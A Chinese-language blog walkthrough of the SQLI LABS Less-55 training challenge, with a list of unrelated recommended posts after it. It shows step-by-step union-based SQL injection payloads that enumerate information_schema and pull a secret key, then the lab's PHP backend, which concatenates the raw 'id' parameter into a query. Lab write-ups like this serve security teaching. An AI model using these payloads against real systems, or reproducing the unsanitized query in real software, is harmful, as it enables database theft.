SQLI LABS | Less-55 GET-Challenge-Union-14 Queries Allowed-Variation 2

关注这个靶场的其它相关笔记:SQLI LABS ------ 靶场笔记合集-CSDN博客

0x01:过关流程

输入下面的链接进入靶场(如果你的地址和我不一样,按照你本地的环境来):

 http://localhost/sqli-labs/Less-55/

在开始过关前,先了解一下本关的挑战目标:我们需要在少于 14 次尝试中,从 CHALLENGES 数据库中读取密钥并提交。右上角有个重置按钮,每次重置挑战都会生成随机的表名、列名和表数据。

先来测注入点吧,靶场提示传入 GET 型参数 ID 给后端,以下是笔者的尝试:

sql 复制代码
 Test 01 : ?id=1      Result Key Word: Dumb & Dumb
 Test 02 : ?id=2-1    Result Key Word: Dumb & Dumb

通过以上两条测试语句,我们可以基本推测出该注入点是数字型注入点,其后端的 SQL 模板如下:

sql 复制代码
 select * from users where id=$_GET["id"];

而且又由于其是存在回显点的,所以接下来,我们尝试去推测其回显字段数(其能回显 namepassword,证明其至少返回了两个字段):

sql 复制代码
 Test 03 : ?id=1 order by 3 --+ Result Key Word: 空
 Test 04 : ?id=1 order by 2 --+ Result Key Word: 空

如上,当我们传入 Test 04 时,其返回结果与我们预想的不对。我们猜测其后端起码返回了 2 个值,但是它 order by 2 的结果也为空。

出现上面结果的可能性只有一条,俺们推测出了错误的 SQL 模板。经过修改后的 SQL 模板如下(数字型注入它的模板本来就不多):

sql 复制代码
 select * from users where id=($_GET["id"]);

所以我们新的测试 Payload 如下:

sql 复制代码
 Test 05 : ?id=1) order by 2 --+ Result Key Word: Dumb & Dumb
 Test 06 : ?id=1) order by 3 --+ Result Key Word: Dumb & Dumb
 Test 07 : ?id=1) order by 4 --+ Result Key Word: 空

如上,当我们传入 Test 07 Payload 时,页面返回为空,证明其从后端数据库只查询了三个值。那么接下来,我们就该去测试这三个值的回显点了,测试 Payload 如下:

sql 复制代码
 Test 08 : ?id=0) union select 1,2,3 --+
 Result Key Word : 2 & 3

如上,成功 GET 回显点 2 号位和 3 号位。现在我们需要利用 6 次查询来拿到密钥,先理一下思路:

sql 复制代码
 密钥存放数据库名: CHALLENGES
 获取密钥我们还需要知道: CHALLENGES 数据表名、CHALLENGES 数据表字段名
 ​
 获取 CHALLENGES 数据表名:
 select group_concat(table_name) from information_schema.tables where table_schema='CHALLENGES';
 ​
 获取 CHALLENGES 数据表字段名:
 select group_concat(column_name) from information_schema.columns where table_schema='CHALLENGES' and table_name='<table_name>';
 ​
 能不能结合一下: 直接让其回显数据表对应的字段名?
 select group_concat(concat(table_name,':',column_name)) from information_schema.columns where table_schema='CHALLENGES';

利用上面的思路,我们使用 Payload 9 尝试直接获取数据表名及其字段名:

sql 复制代码
Test 09 : ?id=0) union select 1,(select group_concat(concat(table_name,':',column_name)) from information_schema.columns where table_schema='CHALLENGES'),3 --+
Result Key Word : etbkpnt6v3:id,etbkpnt6v3:sessid,etbkpnt6v3:secret_6XI9,etbkpnt6v3:tryy

整合一下回显的信息,我们可以发现,CHALLENGES 数据库结构大致如下(这里需要注意,使用上面的 Payload 有可能会由于获取字段长度过长而导致回显不完全的问题,不过在这个靶场里倒没有这种情况):

sql 复制代码
CHALLENGES(数据库)
    => etbkpnt6v3(数据表)
        => id
        => sessid
        => secret_6XI9
        => tryy

盲猜密钥就在 secret_6XI9 里藏着了。接下来,我们构造 Payload 获取密钥:

sql 复制代码
Test 10 : ?id=0) union select 1,(select group_concat(concat(sessid,':',secret_6XI9,':',tryy)) from CHALLENGES.etbkpnt6v3),3 --+
Result Key Word : 656c8f81486b1e4fe59bf39ce9ff7b33:r1gqMNwoaefvRkvKx63LxX5i:10

如上,成功 GET 密钥信息(也就是 secret_6XI9 字段),接下来,我们提交密钥,成功过关:

0x02:源码分析

下面是 SQLI LABS Less-55 GET-Challenge-Union-14 Queries Allowed-Variation 2 后端的部分源码,以及笔者做的笔记(省略了部分无关紧要的内容):

php 复制代码
$times= 14;  // 这个应该就是试错的次数
 $table => 从数据库中获取存放密钥的数据表名
 $col  =>  从数据库中获取存放密钥的数据表的第一列列名(sessid)
 $col1 =>  从数据库中获取存放密钥的数据表的第二列列名(secret_xxxx)
 ​
 ​
 // 如果没有提交密钥,就进入下面的流程, 你尝试注入走的流程
 if (!isset($_POST['answer_key'])) {
     if (isset($_POST['reset'])) {
      // 这里面是重置挑战的逻辑,如果你点了重置挑战按钮的话       
     } else {
         // 获取标识你身份的 Cookie 值,如果没有就给你设置一个
         if (isset($_COOKIE['challenge'])) {
             // 有就获取 challenge 字段
             $sessid=$_COOKIE['challenge'];
         } else {
             // 没有就给你设置一个 Challenge Cookie
         }
     
         // 获取客户端传递的变量
         if (isset($_GET['id'])) {
             $id=$_GET['id'];
     
             // 更新数据库中记录你尝试次数的计数器。
             next_tryy();
             
             // 显示你尝试的次数
             $tryyy = view_attempts();
             echo "You have made : ". $tryyy ." of $times attempts";
         
             // 如果你尝试的次数大于 $times + 1,就给你重置挑战
             if ($tryyy >= ($times + 1)) {
                 // 以下是重置挑战的逻辑
             }
         
             // 如下是后端的 SQL 模板,由于未进行任何过滤,导致存在 SQL 注入漏洞
             $sql="SELECT * FROM security.users WHERE id=($id) LIMIT 0,1";
             $result=mysqli_query($con1, $sql);
             $row = mysqli_fetch_array($result, MYSQLI_BOTH);
 ​
             if ($row)
             {
                 echo '<font color= "#00FFFF">'; 
                 echo 'Your Login name:'. $row['username'];
                 echo "<br>";
                 echo 'Your Password:' .$row['password'];
                 echo "</font>";
             } else {
                 echo '<font color= "#FFFF00">';
                 //  print_r(mysqli_error($con1));
                 echo "</font>";  
             }
         }
相关推荐
百度智能云技术站5 小时前
广告投放系统成本降低 70%+,基于 Redis 容量型数据库 PegaDB 的方案设计和业务实践
数据库·redis·oracle
Elena_Lucky_baby5 小时前
sass、scss、less、的区别
less·sass·scss
向宇it6 小时前
【从零开始入门unity游戏开发之——C#篇25】C#面向对象动态多态——virtual、override 和 base 关键字、抽象类和抽象方法
java·开发语言·unity·c#·游戏引擎
梦想平凡7 小时前
PHP 微信棋牌开发全解析:高级教程
android·数据库·oracle
向宇it8 小时前
【从零开始入门unity游戏开发之——C#篇24】C#面向对象继承——万物之父(object)、装箱和拆箱、sealed 密封类
java·开发语言·unity·c#·游戏引擎
夏木~9 小时前
Oracle 中什么情况下 可以使用 EXISTS 替代 IN 提高查询效率
数据库·oracle
吴冰_hogan10 小时前
MySQL InnoDB 存储引擎 Redo Log(重做日志)详解
数据库·oracle
CodeCraft Studio10 小时前
【实用技能】如何在 SQL Server 中处理 Null 或空值?
数据库·oracle·sqlserver
武汉联从信息10 小时前
浅谈ORACLE中间件SOA BPM,IDM,OID,UCM,WebcenterPortal服务器如何做迁移切换
oracle
Elastic 中国社区官方博客11 小时前
Elasticsearch:什么是查询语言?
大数据·数据库·elasticsearch·搜索引擎·oracle